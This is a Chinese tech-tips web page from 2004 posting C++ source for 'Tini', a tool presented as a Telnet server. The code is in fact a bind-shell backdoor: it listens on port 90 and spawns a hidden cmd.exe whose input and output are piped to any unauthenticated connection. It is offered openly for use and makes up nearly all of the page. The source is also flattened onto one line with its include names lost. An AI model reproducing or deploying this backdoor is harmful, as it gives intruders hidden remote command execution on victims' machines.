首页 电脑 电脑学堂 查看内容

Tini 的VC原代码

2004-9-29 20:05 762 0

摘要: ////////////////////////////////////////////////////////////////////////////////// // Telnet Server....
关键词: NULL pipeattr startinfo RemoteAddr ServerSocket ClientSocket TRUE szAPP ATTRIBUTES hWritePipe

////////////////////////////////////////////////////////////////////////////////// // Telnet Server. // // File : Tini2.cpp// // // Create by : dancefire , refdom// Email : [email protected] , [email protected]//// If you modify the code, or add more functions, please email me a copy.// ////////////////////////////////////////////////////////////////////////////////#include #include #pragma comment(lib, "ws2_32.lib")#pragma comment(lib, "kernel32.lib")#define PORT 90SOCKET ServerSocket = INVALID_SOCKET;SOCKET ClientSocket = INVALID_SOCKET;HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;u_char varA,varB;DWORD WINAPI ThreadFuncA( LPVOID lpParam ){SECURITY_ATTRIBUTES pipeattr;DWORD nByteToWrite, nByteWritten;char recv_buff[1024];pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);pipeattr.lpSecurityDescriptor = NULL;pipeattr.bInheritHandle = TRUE;CreatePipe(&hReadPipe,&hWriteFile,&pipeattr,0);varA = 1;while(true){Sleep(250);nByteToWrite = recv(ClientSocket,recv_buff,1024,0);WriteFile(hWriteFile,recv_buff,nByteToWrite,&nByteWritten,NULL);}return 0;}DWORD WINAPI ThreadFuncB( LPVOID lpParam ){SECURITY_ATTRIBUTES pipeattr;DWORD len;char send_buff[25000];pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);pipeattr.lpSecurityDescriptor = NULL;pipeattr.bInheritHandle = TRUE;CreatePipe(&hReadFile,&hWritePipe,&pipeattr,0);varB = 1;while (true){ReadFile(hReadFile,send_buff,25000,&len,NULL);send(ClientSocket,send_buff,len,0);}return 0;}void main(void){WSADATA WSAData;struct sockaddr_in RemoteAddr;int nRetCode;DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;OSVERSIONINFO osvi;PROCESS_INFORMATION processinfo;STARTUPINFO startinfo;WSAStartup(MAKEWORD(2,2),&WSAData);ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);RemoteAddr.sin_family = AF_INET;RemoteAddr.sin_port = htons(PORT);RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));listen(ServerSocket, 5);varA = 0;varB = 0;CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);do{Sleep(250);}while((varA || varB) == 0);GetStartupInfo(&startinfo);startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;startinfo.hStdInput = hReadPipe;startinfo.hStdError = hWritePipe;startinfo.hStdOutput = hWritePipe;startinfo.wShowWindow = SW_HIDE;osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);GetVersionEx(&osvi);char szAPP[256];GetSystemDirectory(szAPP,MAX_PATH+1);if(osvi.dwPlatformId == 2){strcat(szAPP,"\\cmd.exe");if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &startinfo, &processinfo) == 0){printf ("CreateProcess Error!\n");return;}}else{strcat(szAPP,"\\command.exe");CreateProcess(NULL,szAPP,0,0,true,0,0,0,&startinfo,&processinfo);}while (true){ClientSocket = accept(ServerSocket, NULL, NULL);Sleep(250);}}
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部